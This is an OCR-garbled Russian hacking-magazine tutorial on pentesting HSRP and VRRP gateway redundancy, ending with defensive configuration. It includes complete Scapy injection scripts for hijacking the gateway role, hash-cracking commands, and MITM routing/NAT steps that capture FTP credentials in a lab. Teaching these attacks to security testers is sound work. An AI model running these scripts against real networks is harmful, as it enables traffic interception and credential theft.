
книги хакеры / журнал хакер / xa-278_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|
||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
.c |
|
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
g |
|
|
|
|||
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
-x ha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Magama Bazarov
Network Security Expert
necreas1ng@gmail.com
ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ
Сущес твует множес тво способов повысить отказоус той чивость и надежность в корпоратив ных сетях. Часто для это го применя ются специаль ные протоко лы первого перехода FHRP. Из этой статьи ты узнаешь , как пентесте ры работают
с FHRP во время атак на сеть.
|
Статья имеет ознакоми |
тель |
ный |
характер и пред |
|||||||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
|||||||||||||
|
проводя |
щих |
тестирова |
ние |
|
в |
рамках |
контрак |
та . |
||||||||||
|
Автор и |
редакция |
не несут |
|
ответствен |
ности |
|||||||||||||
|
за любой вред, причинен |
ный |
|
с примене |
нием |
||||||||||||||
|
изложен ной |
информации . Распростра |
нение |
|
вре |
||||||||||||||
|
доносных |
программ |
, нарушение |
работы систем |
|||||||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
|||||||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАЧЕМ НУЖЕН FHRP
FHRP (First Hop Redundancy Protocol) — это семейство протоко лов , обес
печивающих избыточ ность сетевого шлюза . Общая идея заключа ется в том, чтобы объеди нить несколь ко физических маршру тизаторов в один логичес кий с общим IP-адресом . Этот адрес виртуаль ного маршру тизатора будет назначать ся на интерфейс маршру тизатора с главенс твующей ролью, а тот, в свою очередь , займет ся форвардин гом трафика . Самые популярные про токолы класса FHRP — это HSRP и VRRP, о них мы сегодня и поговорим .
Теория протокола HSRP
Протокол HSRP (Hot Standby Router Protocol) — это один из протоко лов клас
са FHRP, позволя ющих организо вать систему отказоус той чивос ти шлюзов . Разработан инженера ми Cisco Systems и работает только на сетевом обо рудовании Cisco. Протокол реализован поверх стека TCP/IP и использует
в качестве трансля ции служеб ной информации протокол UDP на порте 1985. Суть конфигура ции HSRP заключа ется в том, чтобы объеди нить маршру
тизаторы в одну логическую группу HSRP-маршру тиза торов под специаль ным числовым идентифика тором . В самой группе HSRP образует ся логический маршру тиза тор , который получит виртуаль ный IP-адрес. А тот, в свою оче редь, будет назначать ся как шлюз по умолчанию для конечных хостов .
Маршру тизаторы, на которых функци онирует HSRP, для обмена служеб ной информацией используют так называемые Hello-пакеты. С их помощью устройства общаются между собой, проводят выборы и сообщают друг другу о своем состоянии .
Дамп HSRP-трафика
По умолчанию активный маршру тиза тор каждые три секунды рассыла ет Helloсообщение , которое звучит как «Парни , я еще в строю». Однако если в течение десяти секунд Standby-маршру тиза тор не получает ни одного Helloсообщения от Active-маршру тиза тора , то он посчита ет , что активный маршру тизатор «упал», и возьмет на себя его роль, исходя из значений приори тета .
Версии протокола HSRP
У протоко ла HSRP есть две версии — HSRPv1 и HSRPv2. Они отличают ся сле дующими параметрами :
•количес тво возможных логических групп. В HSRPv1 их может быть до 255. У HSRPv2 количество групп может достигать 4096;
•IP-адрес мультикас товой рассылки . HSRPv1 для трансля ции служеб ной информации использует IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;
•виртуаль ный MAC-адрес. HSRPv1 в качестве виртуаль ного MAC-адреса использует 00:00:0C:07:AC:XX. У HSRPv2 виртуаль ный MAC-адрес 00: 00:0C:9F:FX:XX (где XX — это номер группы HSRP).
Сущности в домене HSRP
Врамках группы HSRP есть несколь ко сущностей :
•HSRP Active Router — устройство , играющее роль виртуаль ного маршру тизатора и обеспечива ющее форвардинг трафика из сетей источника до сетей назначения ;
•HSRP Standby Router — устройство , играющее роль резервно го маршру тизатора , которое ожидает отказа активного маршру тизатора. После падения основного Active-роутера Standby-роутер возьмет на себя гла венству ющую роль и будет заниматься обязан ностями Active-роутера ;
•HSRP Group — группа устройств — членов одной HSRP-группы , обес печивают работу и отказоус тойчивость логического маршру тизатора;
•HSRP MAC Address — виртуаль ный MAC-адрес логического маршру тиза тора в домене HSRP;
•HSRP Virtual IP Address — это специаль ный виртуаль ный IP-адрес в группе HSRP. Данный IP-адрес будет шлюзом по умолчанию для конечных хостов , использует ся на самом логическом маршру тизаторе.
Теория протокола VRRP
VRRP (Virtual Router Redundancy Protocol) — протокол , разработан ный в качестве более свобод ной альтер нативы протоко лу HSRP. Но посколь ку он основан на феноменах протоко ла HSRP, с его «открытостью и свободой » есть некоторые нюансы , так что полностью свобод ным его не назвать . VRRP почти ничем не отличает ся от HSRP, выполняет те же самые функции , и в его домене абсолют но те же сущности , только называются они иначе .
В случае HSRP объявле ния генерировал не только Active-роутер, но и Standby-роутер. В случае VRRP выполнять рассылку объявле ний будет только Master-маршру тизатор на зарезервирован ный групповой адрес 224.0.0.18. По умолчанию пакеты приветс твия VRRP рассыла ются каждую секунду .
Дамп VRRP-трафика
Версии протокола VRRP
Упротоко ла две версии — VRRPv2 и VRRPv3.
•У VRRPv3 есть поддер жка IPv6, VRRPv2 поддержи вается только для сетей
IPv4.
•У VRRPv3 отсутству ет поддер жка аутентифика ции, у VRRPv2 имеется целых три способа аутентифика ции.
•VRRPv3 в качестве таймин гов использует сантисекун ды, VRRPv2 опериру ет секундами .
Сущности в домене VRRP
• VRRP Master Router — это активный маршру тиза тор , отвечающий за передачу легитимного трафика в сети.
•VRRP Backup Router — маршру тизатор, находящий ся в режиме ожидания . Как только текущий Master Router упадет , перехватит его роль и будет выполнять его функции .
•VRRP MAC Address — виртуаль ный MAC-адрес в группе VRRP (00:00:5E: 01:XX). Вместо XX — номер группы VRRP.
•VRRP VRID — идентифика тор группы VRRP, в рамках которой расположе ны физические маршру тизаторы.
•VRRP Virtual IP Address — специаль ный виртуаль ный IP-адрес в домене VRRP. Этот IP-адрес использует ся в качестве шлюза по умолчанию
для конечных хостов .
Выбор главенствующего маршрутизатора
В рамках протоко лов FHRP выбор главенс тву ющей роли маршру тиза тора основыва ется на значении приори тета . По умолчанию в момент конфигура ции на всех маршру тиза торах значение эквивален тно 100 единицам . Мак симальное же значение приори тета лежит в диапазоне от 1 до 255 (для VRRP этот диапазон составля ет от 1 до 254).
Если админис тратор не позаботил ся о ручной конфигура ции значения приори тета на маршру тизаторах, главным маршру тизатором станет тот, у которого наибольший IP-адрес. Инженер с помощью конфигура ции зна чения приори тета сам решает , кто будет активным маршру тизатором, а кто — резервным .
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ
FHRP HIJACKING
Техника этой сетевой атаки заключа ется в том, чтобы навязать свое устрой ство в качестве главного маршру тиза тора с помощью инъекции HSRPили VRRP-пакета с максималь ным значени ем приори тета . Успешная эксплу атация приводит к MITM-атаке , в результате которой ты сможешь перехватить
весь трафик внутри сети, провес ти редирект или вызвать DoS. Достаточ но собрать HSRPили VRRP-пакет с наивысшим значени ем приори тета 255 и направить его в сторону локальной сети. Согласись , не слишком сложно .
Как будет ходить трафик до атаки
Как будет ходить трафик после атаки
Так как во время атаки на FHRP надо взаимо дей ствовать с легитимными маршру тизаторами — шлюзами по умолчанию для конечных хостов , необходимо очень быстро выполнять все свои действия , начиная от инъекции и заканчивая организа цией форвардин га всего трафика на сто роне твоей машины. Если будешь медлить во время проведе ния атаки , конечные хосты сло
вят DoS — твой заказчик такой сценарий не оце нит.
Подготовка кастомной инъекции
Я написал инстру мен ты для атак на FHRP-протоко лы , добавив их в свой репозиторий GatewayBleeding. Всегда лучше писать собствен ные инстру мен ты, так ты понимаешь весь процесс эксплу ата ции с нуля, что очень важно . Кроме того, это будет выделять тебя на фоне остальных :)
Чтобы ты понимал принцип эксплу атации, я разберу весь програм мный код скриптов HSRPWN.py и VRRPWN.py.
Инстру мен ты написаны на Python версии 3.
HSRPWN.py
Для начала нам необходимо импортировать библиоте ку Scapy, а также модуль для работы с L2-протоко лами и протоко лом HSRP. Кроме того, под ключим модуль argparse, чтобы сделать скрипт параметризиро ванным.
from scapy.all import *
from scapy.layers.l2 import *
from scapy.layers.hsrp import *
import argparse
В переменную HSRPMulticastAddr запишем значение IP-адреса мультикас товой рассылки HSRPv1.
HSRPMulticastAddr = "224.0.0.2"
Объявля ем функцию take_arguments. Она будет обрабаты вать введен ные пользовате лем входящие параметры :
•интерфейс , с которого будут отправлять ся пакеты (переменная interface);
•номер группы HSRP (переменная group);
•IP-адрес атакующе го (переменная attackerip);
•виртуаль ный IP-адрес домена HSRP (переменная vip);
•ключ для аутентифика ции (переменная auth).
Парсить введен ные параметры будет parser.parse_args(). Результат выполнения функции запишется в переменную args.
def take_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str,
required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=
True, help="Choose HSRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required
=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True,
help="Specify HSRP Virtual IP address")
parser.add_argument("--auth", dest="auth", type=str, required=
True, help="Enter the auth HSRP passphrase")
args = parser.parse_args()
return args
В функции inject происхо дит сборка инъекции HSRP-пакета с наибольшим значени ем приори тета 255. Значения для переменных внутри слоев пакетов извлекают ся из указан ных значений аргумен тов пользовате лем args.*. При этом:
•в переменной L2frame собирается Ethernet-фрейм;
•в переменной L3packet собирается сетевой пакет с IP-адресом источни ка и IP-адресом назначения . TTL будет равен 1. Если отправишь пакет не с этим TTL — маршру тизаторы отбросят его;
•в переменной UDP_layer создает ся UDP-слой с портом источника 1985 и портом назначения 1985;
•в переменной evil_hsrp создает ся вредонос ный HSRP-пакет со зна чением приори тета 255, номером группы HSRP, значени ем виртуаль ного IP-адреса и ключом аутентифика ции;
•в переменной crafted собирается сам пакет с кадром , сетевым IPпакетом, слоем UDP и самим протоко лом HSRP.
def inject(interface, group, attackerip, vip, auth):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)
UDP_layer = UDP(sport=1985, dport=1985)
evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.
vip, auth=args.auth)
crafted = L2frame / L3packet / UDP_layer / evil_hsrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)
Далее с помощью метода sendp собранный пакет через каждые три секунды отправляет ся с указан ного пользовате лем интерфейса . Работу скрипта ни в коем случае нельзя прекращать : если он упадет , пакеты перестанут рас сылаться , легитимные маршру тиза торы признают наше устройство «погиб шим» и перестро ят свои роли в домене.
В конце скрипта вызываем функции take_arguments и inject.
args = take_arguments()
inject(args.interface, args.group, args.attackerip, args.vip, args.
auth)
VRRPWN.py
Здесь почти все то же самое, что и с HSRPWN.py, но имеются и некоторые отличия .
Импорти руем модуль для работы с протоко лом VRRP:
from scapy.layers.vrrp import *
В переменной VRRPMulticastAddr указыва ется IP-адрес мультикас товой рассылки 224.0.0.18:
VRRPMulticastAddr = "224.0.0.18"
Функция take_arguments будет обрабаты вать введен ные пользовате лем входящие параметры :
•интерфейс , с которого будут отправлять ся пакеты (переменная interface);
•номер группы HSRP (переменная group);
•IP-адрес атакующе го (переменная attackerip);
•виртуаль ный IP-адрес домена HSRP (переменная vip).
def take_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str,
required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=
True, help="Choose VRRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required
=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True,
help="Specify VRRP Virtual IP address")
args = parser.parse_args()
return args
Что тут происхо дит :
•В L2frame собирается Ethernet-фрейм.
•В L3packet собирается IP-пакет с IP-адресом источника и IP-адресом назначения . TTL будет равен 255. Если отправишь пакет не с этим TTL — маршру тизаторы отбросят его.
•В evil_vrrp создает ся вредонос ный VRRP-пакет со значени ем приори тета 255, номером группы VRRP и значени ем виртуаль ного IP-адреса .
•В crafted собирается сам пакет с кадром , сетевым IP-пакетом и самим протоко лом VRRP.
def inject(interface, group, attackerip, vip):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255
)
evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip
)
crafted = L2frame / L3packet / evil_vrrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)
В данном скрипте нет слоя протоко лов тран спортного уровня . VRRP работает исключитель но на сетевом уровне и не реализован поверх стека протоко лов TCP/IP.
В конце скрипта вызываем функции take_arguments и inject:
args = take_arguments()
inject(args.interface, args.group, args.attackerip, args.vip)
Виртуальная лаборатория
Чтобы показать эксплу атацию на практике , я подготовил небольшой лабора торный стенд.
Взаимо дей ствие сети на логическом уровне
IP-адресация стенда
Здесь:
•Dustup — это FTP-сервер ;
•Kali выступа ет в качестве атакующей машины;
•Radiant — клиент ская машина с Windows 10 LTSC;
•SW2 и SW4 — коммутато ры Cisco vIOS;
•R1 и R2 — маршру тиза торы Cisco vIOS.
Домен HSRP
Мы будем использовать версию HSRPv1.
Схема сети с HSRP
Домен VRRP
На этом стенде использует ся версия VRRPv2.
Схема сети с VRRP
Взлом MD5-аутентификации
Доступ к доменам FHRP может быть защищен аутентифика цией. В большинс тве случаев использует ся MD5-аутентифика ция. Я покажу, как можно сбру тить пароль, при этом получив хеш из дампа сетевого трафика .
Дамп HSRP-пакета с аутентифика цией
Сохраня ем дамп трафика в файл hsrp_encrypted.pcap. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика HSRP с хешами.
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap
Хеши , извлечен ные из дампа HSRP-трафика
Копиру ем хеши в отдельный файл hsrp_md5_hashes.txt и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist. JTR сам определит тип хеша, находящий ся в файле .
necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/
wordlists/rockyou.txt
Взломан ный пароль от домена HSRP
Пароль от домена HSRP — admin. Теперь разберем такой же кейс с доменом
VRRP.
Дамп VRRP-пакета с аутентифика цией
Сохраня ем дамп в файл vrrp_encrypted.pcap. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика VRRP с хешами.
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap
Хеши , извлечен ные из дампа VRRP-трафика
Копиру ем хеши в отдельный файл vrrp_md5_hashes.txt и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist. Как и в прошлом случае , тип хеша определя ется автомати чески.
necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/
wordlists/rockyou.txt
Взломан ный пароль от домена VRRP
Пароль от VRRP-домена — cerberus.
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
|
|
|
|
e |
|
||||
|
p |
df |
|
|
|
g |
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
|
|
|
e |
|
|||||
|
|
|
p |
df |
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ
АТАКА НА HSRP И ПЕРЕХВАТ ТРАФИКА
Необхо димо в первую очередь перевести сетевой интерфейс в неразборчи вый режим и разрешить форвардинг на машине:
necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc
necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
Запус каем скрипт HSRPWN.py, указыва ем интерфейс, IP-адрес атакующе го , виртуаль ный IP-адрес, номер группы и ключ аутентифика ции.
necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1
--ip 10.1.1.2 --vip 10.1.1.254 --auth cisco
Дамп трафика во время HSRP-инъекции
Конфигура ция HSRP на маршру тиза торах R1 и R2 до выполнения инъекции :
0 |
|
|
|
|
|
|
R1# show standby brief0 |
|
|
|
|||
|
|
|
P indicates configured to preempt.0 |
|
||
|
|
|
|0 |
|
|
|
Interface |
Grp |
Pri P State |
Active |
Standby |
Virtual |
|
IP0 |
|
|
|
|
|
|
Gi0/0 |
1 |
150 |
Active |
local |
10.1.1.200 |
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
R2# show standby brief0 |
|
|
|
|||
|
|
|
P indicates configured to preempt.0 |
|
||
|
|
|
|0 |
|
|
|
Interface |
Grp |
Pri P State |
Active |
Standby |
Virtual |
|
IP0 |
|
|
|
|
|
|
Gi0/0 |
1 |
100 |
Standby 10.1.1.100 |
local |
|
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
А вот поведение конфигура ции HSRP на маршру тиза торах R1 и R2 после выполнения инъекции :
0 |
|
|
|
|
|
|
R1# show standby brief0 |
|
|
|
|||
|
|
|
P indicates configured to preempt.0 |
|
||
|
|
|
|0 |
|
|
|
Interface |
Grp |
Pri P State |
Active |
Standby |
Virtual |
|
IP0 |
|
|
|
|
|
|
Gi0/0 |
1 |
150 |
Standby 10.1.1.2 |
local |
|
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
R2# show standby brief0 |
|
|
|
|||
|
|
|
P indicates configured to preempt.0 |
|
||
|
|
|
|0 |
|
|
|
Interface |
Grp |
Pri P State |
Active |
Standby |
Virtual |
|
IP0 |
|
|
|
|
|
|
Gi0/0 |
1 |
100 |
Listen |
10.1.1.2 |
10.1.1.100 |
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
Как видишь, маршру тиза торы R1 и R2 изменили свои роли. Теперь они приз нают хост с IP-адресом 10.1.1.2 как Active-роутер.
На этом этапе нужно создать вторич ный IP-адрес на интерфейсе eth0 с указани ем виртуаль ного IP-адреса группы HSRP:
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.
255.0
Далее необходимо удалить все маршру ты на твоей машине и создать единс твенный , который будет проходить через один из легитимных маршру тиза торов. В качестве следующе го шлюза можно указать IP-адрес одного из мар шрутиза торов R1 или R2. Даже несмотря на то, что мы у него «отжали » роль Active-роутера , он все равно сможет выполнять маршру тиза цию и направить трафик до хоста либо сети назначения . Пропишем все же маршрут через IPадрес маршру тиза тора R1 — 10.1.1.100:
necreas1ng@Mercy:~$ |
sudo del default gw |
|
|
|
|
|||
necreas1ng@Mercy:~$ |
sudo |
route |
del |
-net 0.0.0.0 |
netmask |
0.0.0.0 |
|
|
necreas1ng@Mercy:~$ |
sudo |
route |
add |
-net |
0.0.0.0 |
netmask |
0.0.0.0 |
gw |
10.1.1.100 eth0 |
|
|
|
|
|
|
|
|
Сейчас ты видишь только исходящий трафик . Было бы неплохо получить так же и входящий . Небольшое правило для NAT решит эту задачу.
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j
MASQUERADE
После атаки я попробую с машины под именем Radiant подклю чить ся к FTPсерверу под именем Dustup. Посмотрим , увенчалась ли атака успехом .
C:\Users\radiant>ftp 172.20.20.50
Дамп перехвачен ного FTP-трафика при атаке на HSRP
В конечном счете мы смогли перехватить легитимный трафик . Даже добыли креды от FTP-сервера mercy:i_dont_trust_you.
В этом кейсе ты перехватыва ешь абсолют но весь трафик внутри сети, а подклю чение к FTP-сер веру будет служить примером , чтобы показать импакт от атаки .
АТАКА НА VRRP И ПЕРЕХВАТ ТРАФИКА
Запус каем скрипт VRRPWN.py:
necreas1ng@Mercy:~$ |
sudo python3 VRRPWN.py --interface eth0 --group 1 |
||||
--ip 10.1.1.2 --vip |
10.1.1.254 |
|
|
|
|
Ты можешь заметить, что только |
10.1.1.2 рассыла |
ет |
объявле |
ния . |
|
Это говорит о том, что мы стали Master-роутером . |
|
|
|
Дамп во время VRRP-инъекции
Вот поведение VRRP на маршру тиза торах R1 и R2 до инъекции :
0 |
|
|
|
|
|
|
R1# show vrrp brief0 |
|
|
|
|
|
|
Interface |
Grp |
Pri Time |
Own Pre |
State |
Master addr |
Group |
addr0 |
|
|
|
|
|
|
Gi0/0 |
1 |
150 3414 |
Y |
Master |
10.1.1.100 |
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
R2# show vrrp brief0 |
|
|
|
|
|
|
Interface |
Grp |
Pri Time |
Own Pre |
State |
Master addr |
Group |
addr0 |
|
|
|
|
|
|
Gi0/0 |
1 |
100 3609 |
Y |
Backup |
10.1.1.100 |
|
10.1.1.254 |
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
А вот поведение VRRP на маршру тиза торах R1 и R2 после инъекции :
0 |
|
|
|
|
|
|
|
|
|
R1# show vrrp brief0 |
|
|
|
|
|
|
|
|
|
Interface |
Grp |
Pri |
Time |
Own |
Pre State |
Master addr |
Group |
||
addr0 |
|
|
|
|
|
|
|
|
|
Gi0/0 |
1 |
150 |
3414 |
|
Y |
Backup |
|
10.1.1.2 |
|
10.1.1.254 |
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
R2# show vrrp brief0 |
|
|
|
|
|
|
|
|
|
Interface |
Grp |
Pri |
Time |
Own |
Pre State |
Master addr |
Group |
||
addr0 |
|
|
|
|
|
|
|
|
|
Gi0/0 |
1 |
100 3609 |
|
Y |
Backup |
10.1.1.2 |
|
||
10.1.1.254 |
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Маршру тиза торы R1 и R2 изменили свои роли. Теперь они признают хост с IP-адресом 10.1.1.2 как Master-роутер.
Затем нужно создать вторич ный IP-адрес на интерфейсе eth0 с указани ем виртуаль ного IP-адреса группы VRRP:
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.
255.0
Далее удаляем все маршру ты на машине и создаем единствен ный через роутер R1:
necreas1ng@Mercy:~$ |
sudo del default gw |
|
|
|
|
|||
necreas1ng@Mercy:~$ |
sudo |
route |
del |
-net 0.0.0.0 |
netmask |
0.0.0.0 |
|
|
necreas1ng@Mercy:~$ |
sudo |
route |
add |
-net |
0.0.0.0 |
netmask |
0.0.0.0 |
gw |
10.1.1.100 eth0 |
|
|
|
|
|
|
|
|
И напоследок правило для SNAT:
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j
MASQUERADE
После атаки я попробую подклю чить ся с машины под именем Radiant к FTPсерверу под именем Dustup.
Дамп перехвачен ного FTP-трафика при атаке на VRRP
В итоге получился тот же сценарий : мы видим абсолют но весь трафик , но в рамках данного кейса меня интересо вал только FTP-трафик . Перехвачен ные креды — betrayal:punish_you.
ПРЕВЕНТИВНЫЕ МЕРЫ Приоритет 255
Из соображений безопасности рекомендует ся на Masterили Active-маршру тизаторе выставить максималь ный приори тет. В таком случае , если злоумыш ленник отправит вредонос ный пакет с приори тетом 255, у него не выйдет стать «главным », посколь ку таковой уже имеется .
|
В этой статье я ориенти |
руюсь |
на принципы |
|
и команды Cisco IOS CLI. |
|
|
Конфигура ция для HSRP, группа 1:
R1(config)# int g0/0
R1(config-if)# standby 1 priority 255
Конфигура ция для VRRP, группа 1:
R1(config)# int g0/0
R1(config-if)# vrrp 1 priority 254
Аутентификация
Если ты собрался защищать домен FHRP с помощью парольной аутентифика ции, обязатель но позаботься о стойкос ти пароля, чтобы его не сбрутили . Как ты видел, хеш в открытом виде передается по сети, поэтому у злоумыш ленника имеются шансы перебрать пароль.
Конфигура ция MD5-аутентифика ции для HSRP, группа 1:
R1(config-if)#standby 1 authentication md5 key-string
all_h3re_f0r_y0u
Конфигура ция MD5-аутентифика ции для VRRP, группа 1:
R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u
Кстати говоря, оборудо вание Cisco может похвастать ся наличием keychainаутентифика ции. В таком случае конфигури руются два ключа и даже можно настро ить интервалы времени , когда будет принимать ся и отправлять ся ключ. Такой подход в значитель ной степени усложняет жизнь злоумыш леннику, пос кольку ему придет ся не только брутить пароль, но и угадывать последова тельность ключей и подходящий для их передачи промежу ток времени .
Ниже я привожу пример конфигура ции keychain в отношении маршру тиза тора R1 для HSRP, для VRRP она тоже подойдет . Такую же конфигура цию сле дует настро ить на остальных маршру тизаторах в рамках одного домена.
R1#conf t # Входим в режим глобальной конфигурации0
R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под
названием SecureFHRP0
R1(config-keychain)# key 1 # Создаем первый ключ0
R1(config-keychain-key)# key-string gu1d1ng_
